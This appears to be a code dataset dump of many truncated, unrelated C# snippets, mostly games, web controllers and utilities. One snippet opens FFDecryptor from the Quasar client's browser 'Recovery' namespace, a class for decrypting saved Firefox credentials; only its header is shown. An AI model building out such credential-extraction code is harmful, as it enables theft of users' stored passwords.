text
stringlengths
13
6.01M
namespace RectangleArea { using System; public class StartUp { public static void Main() { double a = double.Parse(Console.ReadLine()); double b = double.Parse(Console.ReadLine()); double c = a * b; Console.WriteLine($"{c:f2}"); } ...
using System.Collections; using System.Collections.Generic; using UnityEngine; public class CharacterPhysics : MonoBehaviour { public Character character { get; protected set; } public new Rigidbody rigidbody { get; protected set; } public float baseMass { get; protected set; } = 1.0f; public float b...
///////////////////////////////////////////////////////////////////////////////// // // vp_3DUtility.cs // © VisionPunk. All Rights Reserved. // https://twitter.com/VisionPunk // http://www.visionpunk.com // // description: miscellaneous 3D utility functions // /////////////////////////////////////////////////////////...
using BAL; using Models; using System; using System.Collections.Generic; using System.ComponentModel; using System.Data; using System.Drawing; using System.Linq; using System.Text; using System.Threading.Tasks; using System.Windows.Forms; namespace UILayer { public partial class ShowEmplyees : Form { ...
using System; using System.Collections.Generic; using EF_Core.Interfaces; using EFCore.Domains; using EFCore.Repositories; using Microsoft.AspNetCore.Mvc; namespace EFCore.Controllers { [Route("api/[controller]")] [ApiController] public class PedidoController : ControllerBase { private readonl...
using System; using System.Collections.Generic; using System.Text; using Xamarin.Forms; using Xamarin.Forms.Platform.Android; namespace Campeonato_App { public class CustomEntry : Entry { } }
using LocusNew.Core.ViewModels; using System.Web.Mvc; using System.Web.SessionState; using LocusNew.Core; namespace LocusNew.Controllers { [SessionState(SessionStateBehavior.Disabled)] public class AboutUsController : Controller { private readonly IUnitOfWork _unitOfWork; public AboutUsCo...
using System; using System.Collections.Generic; using System.Linq; using System.Text; using System.Threading.Tasks; using Docller.Core.Common; using Docller.Core.Models; namespace Docller.Core.Common { public interface ISecurityContext { IEnumerable<Project> AvailableProjects { get; set; } boo...
using Google.Protobuf.WellKnownTypes; using Grpc.Core; using GrpcServer.Protos; using GrpcServer.Repository.DBModels; using Microsoft.AspNetCore.Authorization; using Microsoft.EntityFrameworkCore; using Microsoft.Extensions.Configuration; using System; using System.Collections.Generic; using System.Linq; using System....
using System; using System.Collections.Generic; using System.Diagnostics; using System.Linq; using System.Text; using System.Threading.Tasks; namespace Algorithom { /// <summary> /// Big-O (n^2) /// </summary> public class InsertionSort { public static List<int> DoAlgorithm(List<int> list)...
using System.Collections.Generic; using System.Linq; using Profiling2.Domain.Prf.Persons; namespace Profiling2.Web.Mvc.Areas.Profiling.Controllers.ViewModels { public class PersonDataTableView { public int Id { get; set; } public string FirstName { get; set; } public string LastName { ...
using SharpArch.Domain.DomainModel; namespace Profiling2.Domain.Prf.Organizations { public class OrganizationPhoto : Entity { public virtual Organization Organization { get; set; } public virtual Photo Photo { get; set; } public virtual bool Archive { get; set; } public virtual...
/* * Classe contenente diversi metodi statici utili per la programmazione * */ public class Utily { /* * Trasforma un booleano in un intero: se è true ritorna 1 se è false ritorna 0 * */ public static int BooleanToInt(bool boolean) { if (boolean) { return 1; } else { return -1; } } /* ...
using Microsoft.EntityFrameworkCore.Migrations; namespace Voluntariat.Data.Migrations { public partial class Drop_Foreign_Keys_And_Indexes : Migration { protected override void Up(MigrationBuilder migrationBuilder) { migrationBuilder.DropForeignKey( name: "FK_Doctor...
using UnityEngine; using System.Collections; /// <summary> /// FrogAI /// /// Jumps to the player one hop at a time. /// </summary> public class FrogAI : MonoBehaviour { public string targetName = "Player"; //How often we hop. public float hopPeriod = 1.5f; //How long it takes for one hop. public float h...
using EngineLibrary.Game; using EngineLibrary.Graphics; using SoundLibrary; using SharpDX; using GameLibrary.Components; using GameLibrary.Scripts.Utils; using GameLibrary.Scripts.Game; using System.Collections.Generic; using System; using EngineLibrary.Scripts; using EngineLibrary.Utils; using EngineLibrary.Component...
#if UNITY_2019_1_OR_NEWER using UnityEditor; using UnityAtoms.Editor; namespace UnityAtoms.FSM.Editor { /// <summary> /// Event property drawer of type `FSMTransitionData`. Inherits from `AtomDrawer&lt;FSMTransitionDataEvent&gt;`. Only availble in `UNITY_2019_1_OR_NEWER`. /// </summary> [CustomProperty...
using System; using System.Collections.Generic; using System.IO; using System.Linq; using System.Runtime.InteropServices.WindowsRuntime; using Windows.Foundation; using Windows.Foundation.Collections; using Windows.UI.Xaml; using Windows.UI.Xaml.Controls; using Windows.UI.Xaml.Controls.Primitives; using Windows.UI.Xam...
using System; using System.Collections.Generic; using System.Linq; using System.Web; namespace University.UI.Areas.Admin.Models { public class GeneralFeedbackViewModel { public Decimal Id { get; set; } public string FeedbackDescription { get; set; } public Nullable<bool> IsDeleted { ge...
using System; using System.Web; using System.Collections.Generic; using System.Linq; using System.Threading.Tasks; using Microsoft.AspNetCore.Mvc; using Newtonsoft.Json; using Microsoft.AspNetCore.Http; namespace Thuisbegymmen.Controllers { [Route("api/[controller]")] public class SearchbarCon...
using System; using System.Collections.Generic; using System.Text; using Microsoft.AspNetCore.Identity.EntityFrameworkCore; using Microsoft.EntityFrameworkCore; using VirginMediaScenario.Models; namespace VirginMediaScenario.Data { public class ApplicationDbContext : IdentityDbContext { public Applica...
using Plugin.Settings; using Plugin.Settings.Abstractions; namespace MasterDetail.Helpers { public static class Settings { private static ISettings AppSettings { get { return CrossSettings.Current; } } #region Setting Constan...
using System; namespace FightGame { public class Enemy : Creature, ICloneable { private Damage _damage; public Damage damage { get { return _damage; } set { _damage = value; } } public object Clone() { Enemy enemy = (Enemy)this.MemberwiseClone(); /*enemy.Name = Name; ...
using System.Collections; using System.Collections.Generic; using System; using System.Linq; using UnityEngine; using GoogleARCore; public class GlobalDataContainer : MonoBehaviour { public Camera FirstPersonCamera; public GameObject arObject; [SerializeField] private GameObject[] menuPanels; p...
using System; using MonoTouch.UIKit; namespace iPadPos { public class PrintLastInvoiceCell : ButtonCell { public PrintLastInvoiceCell () : base ("PrintLastInvoiceCell") { BackgroundColor = Color.Orange; //BackgroundColor = UIColor.FromRGB (38, 143, 130); this.TextLabel.TextColor = UIColor.White; thi...
/** Copyright (c) 2020, Institut Curie, Institut Pasteur and CNRS Thomas BLanc, Mohamed El Beheiry, Jean Baptiste Masson, Bassam Hajj and Clement Caporal All rights reserved. Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are m...
using Quasar.Client.Utilities; using System; using System.IO; using System.Runtime.InteropServices; using System.Text; namespace Quasar.Client.Recovery.Browsers { /// <summary> /// Provides methods to decrypt Firefox credentials. /// </summary> public class FFDecryptor : IDisposable { [Unm...
using Microsoft.VisualStudio.TestTools.UnitTesting; using WikipediaFramework; namespace WikipediaTests { [TestClass] public class HomePageLanguageTests : CommonTestMethods { [TestMethod] public void Select_English_Language() { WikipediaHomePage.SelectLanguage.English();...
using System; using System.Collections.Generic; using System.Linq; using System.Threading.Tasks; using Journey.WebApp.Data; using Microsoft.AspNetCore.Mvc; using Microsoft.EntityFrameworkCore; namespace Journey.WebApp.Controllers { public class TripDetailsController : Controller { private readonly Jou...
using System.Collections; using System.Collections.Generic; using UnityEngine; public class MobSpawner : MonoBehaviour { [SerializeField] private GameObject mobPrefab; [SerializeField] private float timerSpawn; private Transform possibleSpawns; private float nextSpawn; // Use this for initialization void S...
using System; using Vlc.DotNet.Core.Interops.Signatures; namespace Vlc.DotNet.Core.Interops { public sealed partial class VlcManager { public bool GetVideoLogoEnabled(VlcMediaPlayerInstance mediaPlayerInstance) { if (mediaPlayerInstance == IntPtr.Zero) throw new Arg...
using System; using System.Collections.Generic; using System.Linq; using System.Web; namespace CarManageSystem.Model { public class IdentifyingCode { public string userName { get; set; } public int code { get; set; } public DateTime datetime { get; set; } } }
using System; using System.Collections.Generic; using System.IO; using System.Linq; using System.Text; namespace Complex { class Complex { public double re;//переменная - действительное число public double im;//переменная - мнимое число public Complex Plus(Complex x2)// сложение комп...
using Cs_Notas.Dominio.Entities; using System; using System.Collections.Generic; using System.Linq; using System.Text; using System.Threading.Tasks; namespace Cs_Notas.Dominio.Interfaces.Servicos { public interface IServicoAtoConjuntos: IServicoBase<AtoConjuntos> { List<AtoConjuntos> ObterAtosConjunto...
using System.Web; namespace Tomelt.Time { public interface ITimeZoneSelector : IDependency { TimeZoneSelectorResult GetTimeZone(HttpContextBase context); } }
using System; namespace Sum_of_Chars { class Program { static void Main(string[] args) { int numberOfChars = int.Parse(Console.ReadLine()); int sumOfAciiCodes = 0; for (int charNumber = 0; charNumber < numberOfChars; charNumber++) { ...
using Assets.Scripts.Models.ResourceObjects; using Assets.Scripts.Models.ResourceObjects.CraftingResources; using System.Collections.Generic; namespace Assets.Scripts.Models.Common { public class Bed : BaseObject, IPlacement { public string PrefabTemplatePath { get; set; } public string Prefab...
using System.ComponentModel.DataAnnotations; using System.ComponentModel.DataAnnotations.Schema; using Podemski.Musicorum.Interfaces.Entities; namespace Podemski.Musicorum.Dao.Entities { public sealed class Track : ITrack { private IAlbum _album; [Key] [DatabaseGenerated(DatabaseGener...
using MediatR; using AspNetCoreGettingStarted.Data; using AspNetCoreGettingStarted.Model; using AspNetCoreGettingStarted.Features.Core; using System; using System.Collections.Generic; using System.Threading.Tasks; using System.Linq; using Microsoft.EntityFrameworkCore; using System.Threading; namespace AspNetCoreGetti...
using System; using System.Linq; using System.Threading.Tasks; using Compent.Extensions; using Uintra.Core.Activity; using Uintra.Core.Member.Entities; using Uintra.Core.Member.Services; using Uintra.Features.Notification.Configuration; using Uintra.Features.Notification.Entities.Base; using Uintra.Features.Notificati...
using Backend.Model; using System; using System.Collections.Generic; using System.Linq; using UserService.CustomException; using UserService.Model; namespace UserService.Repository { public class DoctorRepository : IDoctorRepository { private readonly MyDbContext _context; public DoctorReposi...
using System; using System.Net; using System.Windows; using System.Windows.Controls; using System.Windows.Documents; using System.Windows.Ink; using System.Windows.Input; using System.Windows.Media; using System.Text; using System.Windows.Media.Animation; using System.Windows.Shapes; using System.Collections.Generic; ...
using System; namespace SmartHome.Portal.Domain.Telemetry { public interface ITelemetry { DateTimeOffset Time { get; } double DoubleValue { get; } } }
using System; namespace Faker.ValueGenerator.PrimitiveTypes.IntegerTypes { public class IntegerGenerator : IPrimitiveTypeGenerator { private static readonly Random Random = new Random(); public Type GenerateType { get; set; } public object Generate() { GenerateType...
using ICT3101_Calculator.UnitTests.Context; using NUnit.Framework; using System; using TechTalk.SpecFlow; namespace _ICT3101_Calculator.UnitTests.Step_Definitions { [Binding] class CalculatorBasicReliabilitySteps { private readonly CalculatorSharedData calculatorSharedData; public Calcula...
using System; using System.Collections.Generic; using System.Linq; using System.Text; using System.Threading.Tasks; using System.Windows.Forms; using System.Data.SqlClient; using System.Data; using FXB.Data; using FXB.Common; namespace FXB.DataManager { class JobGradeDataMgr { private static Jo...
using SDKHrobot; using System.Threading; using System.Windows.Forms; using Basic.Message; namespace Arm.Hiwin { public class HiwinDisconnect : IDisconnect { public HiwinDisconnect(int id, IMessage message, out bool connected) { int alarmState; int motorState; ...
using System; using System.Collections.Generic; namespace TripNetCore.test { public partial class TestTable { public int Id { get; set; } public int TypeId { get; set; } public string Desc { get; set; } } }
using System.Runtime.Intrinsics; using System.Runtime.Intrinsics.Arm; namespace Mandelbrot.Rendering.Iteration; public class NeonIteration : IIterationAlgorithm { public int Offset => 1; public unsafe void Iterate(uint* ptr, double re, double dRe, double im, double rSq, uint n) { var dataRe = sta...
using CommonServiceLocator; using System; using System.Collections.Generic; using System.Text; namespace Explayer.ViewModels { public class ViewModelLocator { public AppLaunchViewModel AppLaunchViewModel => ServiceLocator.Current.GetInstance<AppLaunchViewModel>(); } }
using UnityEngine; using System.Collections; using System.Collections.Generic; public class CurrentNodeScript : MonoBehaviour { public GameObject currentNode; public bool m_bisAI = true; private List<GameObject> ListArray; private GameObject[] FinalArray; private GameObject LevelGeneratorCl...
using System; using System.Collections.Generic; using System.Globalization; using System.Linq; using System.Net; using System.Text; using System.Threading; using System.Threading.Tasks; using System.Windows; using System.Windows.Controls; using System.Windows.Data; using System.Windows.Documents; using System.Windows....
using System.Collections; using System.Collections.Generic; using UnityEngine; using UnityEngine.Rendering; namespace VolumetricFogAndMist { [ExecuteInEditMode] public class ShadowMapCopy : MonoBehaviour { Light m_Light; CommandBuffer cb; void OnEnable() { m_Light = Get...
using System; using System.Collections.Generic; using System.Linq.Expressions; namespace PL.Integritas.Domain.Interfaces.Repositories { public interface IRepository<TEntity> : IDisposable where TEntity : class { void Add(TEntity obj); void Update(TEntity obj); void Remove(Int64 id); ...
using SharpEngine; using System; using System.Collections.Generic; using System.Linq; using System.Text; using System.Threading.Tasks; namespace PacmanOgre.Scene { public class SceneId { public string SceneName { get; set; } public static explicit operator string(SceneId sceneId) => sceneId.S...
using System; using System.Collections.Generic; using System.Linq; using System.Web; using TypeInThai.Repositories; using TypeInThai.Helpers; namespace TypeInThai.Models { public class Level { public string Header = ""; public string IntroText = ""; public LevelConditions Conditions =...
using LightBoxRectSubForm.app; using LightBoxRectSubForm.data; using System; using System.Collections.Generic; using System.Linq; using System.Text; using System.Threading.Tasks; namespace LightBoxRectSubForm.comm { public class ByteEventArgs : EventArgs { public BytesWithInfo bi; public DateTi...
using Content.Server.Clothing.Components; using Content.Server.Storage.Components; using Content.Server.Storage.EntitySystems; using Content.Server.Temperature.Systems; using Content.Shared.Interaction.Events; using Content.Shared.Inventory; using Content.Shared.Inventory.Events; using InventoryComponent = Content.Shar...
using Sentry.Extensibility; using Sentry.Internal.Extensions; namespace Sentry.Protocol; /// <summary> /// A measurement, containing a numeric value and a unit. /// </summary> public sealed class Measurement : IJsonSerializable { /// <summary> /// The numeric value of the measurement. /// </summary> p...
using UnityEngine; namespace Assets.Scripts.PlayerFolder { public enum EPlayerState { Walk, Run, Jump, Swim, Dead, AFK, None } public class Player : CharacterBase { private delegate void HealthDelegate(int health); private s...
# region Includes using System; using System.Windows.Forms; # endregion namespace RobX.Simulator { #if WINDOWS || XBOX static class Program { /// <summary> /// The main entry point for the application. /// </summary> [STAThread] static void Main() { ...
using System; using System.Collections.Generic; using System.Data; using System.Data.SqlClient; namespace SNORM { /// <summary>Describes an object that will communicate to a database.</summary> public interface IDatabase : IManagedDatabase { #region Methods /// <summary>Begins a SQL trans...
namespace _08._MapDistricts { using System; using System.Collections.Generic; using System.Linq; public class Startup { public static void Main() { string[] inputParts = Console.ReadLine().Split(new[] { ' ' }, StringSplitOptions.RemoveEmptyEntries); Dictiona...
using MyPluginEngine; using System; using System.Collections.Generic; using System.Linq; using System.Text; namespace CGERunBar { class CGERun : MyPluginEngine.IMenuDef { #region IMenuDef 成员 public string Caption { get { return "行业用水变化趋势"; } } public void ...
using System; using System.Collections.Generic; using System.Linq; using System.Text; using System.Threading.Tasks; namespace OcTur.Model { class AutenticacaoModel { /// <summary> /// Consulta no banco a presença do nome do usuário /// </summary> /// <param name="nome">Campo Us...
using System.Web.Mvc; using AutoMapper; using Unity; using Unity.Mvc5; using DigitalLeap.Services; using DigitalLeap.Repositories; using DigitalLeap.Web.MappingProfiles; using Unity.Lifetime; namespace DigitalLeap.Web { public static class UnityConfig { public static void RegisterComponents() ...
using Android.App; using Android.Widget; using Android.OS; using Android.Media; using System.Collections.Generic; using System.IO; namespace PlayMp3Project { [Activity(Label = "Mp3 Player Project", MainLauncher = true, Icon = "@drawable/icon")] public class MainActivity : Activity { MediaPlayer pl...
using UnityEngine; using System.Collections; //using System.Collections.Generic; public class LinkPlayerCtrl : MonoBehaviour { public UISprite WaitSprite; public UISprite [] LinkPlayerSprite; static LinkPlayerCtrl _Instance; public static LinkPlayerCtrl GetInstance() { return _Instance; } // Use this for...
using System; using System.Collections.Generic; using HiLoSocket.Extension; namespace HiLoSocket.Compressor { /// <summary> /// CompressorFactory. /// </summary> public static class CompressorFactory { private static readonly Dictionary<CompressType, ICompressor> _compressorTable = ...
using Discord.WebSocket; using OrbCore.ContentStructures; using System; using System.Collections.Generic; using System.Linq; using System.Text; using System.Threading.Tasks; namespace OrbCore.ContentTools { internal static class GuildUserEventTools { public static GuildUserEventContent CreateGuildUserEven...
namespace classicSortingAlgorithms.SortingClasses { using System.Collections.Generic; using System.Diagnostics; class InsertionSorting<T> : Sort<T> { public override string ClassName { get; set; } = "Insertion"; public override T[] Sorting(T[] array) { for (int i = 1; i < array.Length; i++) { int j = i...
using AcoesDotNet.Model; using System; using Xunit; namespace AcoesDotNet.Testes { public class OrdemTeste { private Acao _acao; private Ordem _ordem; private Cliente _cliente; public OrdemTeste() { _cliente = new Cliente { Nome ...
namespace Photographers { using System; using System.Collections.Generic; using System.Linq; using System.Text; using System.Threading.Tasks; using Data; using Models; using System.Data.Entity.Validation; class Program { static void Main(string[] args) { ...
using System; using System.Collections.Generic; using System.Linq; using System.Threading.Tasks; namespace WebUI.Entity { public class Message { public int MessageId { get; set; } public string Name { get; set; } public string Subject { get; set; } public string Content { get; ...
using System.Linq; using TpNoteDesignPatternsCSharp.DAL.Model; namespace TpNoteDesignPatternsCSharp.DAL.Query { public static class EquipementQuery { public static Equipement FilterById(this IQueryable<Equipement> equipements, int Id) { return equipements.Single(equipement => equip...
namespace Jira_Bulk_Issues_Helper.Models { public class AvatarUrls { [Newtonsoft.Json.JsonProperty("48x48")] public string _48x48 { get; set; } [Newtonsoft.Json.JsonProperty("32x32")] public string _32x32 { get; set; } [Newtonsoft.Json.JsonProperty("24x24")] publ...
using Stolons.Models; using System; using System.Collections.Generic; using System.ComponentModel.DataAnnotations; using System.Linq; using System.Threading.Tasks; namespace Stolons.ViewModels.Users { public class UserStolonViewModel : IUserViewModel { public UserStolonViewModel() { }...
using Api.Core.Controllers.Base; using Api.Versioned; using System.Threading.Tasks; using System.Web.Http; using System.Web.Http.Description; namespace Api.Core.Controllers { [RoutePrefix(Constants.BaseRoute + "/" + Constants.Test)] public class TestController : BaseController { [HttpGet] ...
using System; using System.Linq.Expressions; namespace aairvid { public static class PropertyHelper { public static string GetName<TObject, TProperty>(Expression<Func<TObject, TProperty>> property) { string propertyName = ((MemberExpression)property.Body).Member.Name; ...
using System; namespace SkySaves { public class MiscStatsTable { public struct Stat { public const byte General = 0; public const byte Quest = 1; public const byte Combat = 2; public const byte Magic = 3; public const byte...
using System; using System.Collections.Generic; using System.Threading.Tasks; using AutoMapper; using Communicator.Core.Domain; using Communicator.Core.Extension; using Communicator.Infrastructure.Dto; using Communicator.Infrastructure.IRepositories; using Communicator.Infrastructure.IServices; namespace Communicator...
using System; namespace C_Object { public static class LoginInfo { public static Member Member { get; set; } } }
namespace _11._SemanticalHTML { using System; using System.Text.RegularExpressions; public class Startup { public static void Main() { string input = Console.ReadLine(); string openTagPattern = @"<(div)([^>]*)(?:id|class)\s*=\s*""(.*?)""(.*?)>"; stri...
using BenefitDeduction.Employees; using BenefitDeduction.Employees.FamilyMembers; using BenefitDeduction.EmployeesSalary; using System.Collections.Generic; namespace BenefitDeduction.EmployeeBenefitDeduction { public interface IBenefitDeductionRepository { IBenefitDeductionDetail CalculateBenefitDeduc...
using Coldairarrow.Business.Sto_BaseInfo; using Coldairarrow.Entity.Sto_BaseInfo; using Coldairarrow.Util; using System; using System.Web.Mvc; namespace Coldairarrow.Web { public class Sto_SupplierController : BaseMvcController { Sto_SupplierBusiness _sto_SupplierBusiness = new Sto_SupplierBusiness(); ...
using System; namespace CourseHunter_100_Self_BeliveOrNot { class Program { static void Main(string[] args) { Game game = new Game("Questions.csv"); game.EndOfGame += (sender, e) => { Console.WriteLine($"Questions asked: {e.QuestionsPassed}....
using System.Collections.Generic; using FluentAssertions; using NUnit.Framework; namespace Hatchet.Tests.HatchetConvertTests.SerializeTests { [TestFixture] public class TypeTests { abstract class Base { } class One : Base { public string He...
using System; using System.Collections.Generic; using System.Linq; using System.Text; using System.Threading.Tasks; namespace DAL.Models { public class Invoice { public int Id { get; set; } public bool Paid { get; set; } public DateTime CreateDate { get; set; } public Guid Priv...
using System; using System.Collections.Generic; using System.Linq; using System.Web; using System.Web.UI; using System.Web.UI.WebControls; namespace StudyManagement.StudyManagement { public partial class StudentForm : System.Web.UI.Page { protected void Page_Load(object sender, EventArgs e) { ...
using IsoTools; using UnityEngine; using System.Collections; using UnityEngine.UI; namespace Caapora { public abstract class CharacterBase : CreatureBase, IAutoMovable { protected static bool _canLauchWater = true; public static bool isPlayingAnimation; public Vector3 prevPosition; ...
using System.Collections; using System.Collections.Generic; using UnityEditor; using UnityEngine; namespace Ezphera.TimerScore { [CustomEditor(typeof(Timer))] public class TimerEditor : Editor { Timer timer; SerializedProperty timerFrom; private void OnEnable() { ...
using System; namespace Tests.Data.Oberon { public class DebtAdjustment { public long Id { get; set; } public DateTime AdjustedOn { get; set; } public decimal Amount { get; set; } public string Reason { get; set; } } }
using System; using System.Collections.Generic; using System.Linq; using System.Text; using System.Threading.Tasks; namespace Utilities { public static class SharedTools { private const string PISTOL_META = @"pistol,permit,gun,CT Pistol Permit,firearms training,revolver,firearm,nra,class,pistol permit...
using System.Threading.Tasks; using Microsoft.AspNetCore.Authentication; using Microsoft.AspNetCore.Http; namespace CodingMilitia.PlayBall.WebFrontend.BackForFront.Web.Security { public class EnforceAuthenticatedUserMiddleware : IMiddleware { public async Task InvokeAsync(HttpContext context, RequestDe...
using System.Diagnostics; using Microsoft.AspNetCore.Mvc; using Samples.AspNetCore.Mvc.Models; using Sentry; namespace Samples.AspNetCore.Mvc.Controllers; public class HomeController : Controller { private readonly IGameService _gameService; private readonly ILogger<HomeController> _logger; public HomeCo...
using System; using System.Collections.Generic; using System.IO; using System.Linq; using System.Threading.Tasks; using Microsoft.AspNetCore.Hosting; using Microsoft.AspNetCore.Http; using Microsoft.AspNetCore.Http.Internal; using Microsoft.AspNetCore.Mvc; using Newtonsoft.Json; using Newtonsoft.Json.Linq; // For mor...
using GardenControlCore.Enums; using System; using System.Collections.Generic; using System.ComponentModel.DataAnnotations; using System.ComponentModel.DataAnnotations.Schema; using System.Text; namespace GardenControlRepositories.Entities { [Table("ControlDevice")] public class ControlDeviceEntity ...
using System; using System.Collections.Generic; using System.Linq; using System.Reflection; using Microsoft.Xna.Framework; using Microsoft.Xna.Framework.Graphics; using Netcode; using StardewModdingAPI; using StardewValley; using StardewValley.Characters; using StardewValley.Locations; // Basically just game code with...
using System; using System.Collections.Generic; using System.Linq; using System.Text; using System.Threading.Tasks; using System.Windows; using System.Windows.Controls; using System.Windows.Data; using System.Windows.Documents; using System.Windows.Input; using System.Windows.Media; using System.Windows.Media.Imaging;...
using NGeoNames.Entities; namespace NGeoNames.Composers { /// <summary> /// Provides methods for composing a string representing an <see cref="Admin2Code"/>. /// </summary> public class Admin2CodeComposer : BaseComposer<Admin2Code> { /// <summary> /// Composes the specified <see cr...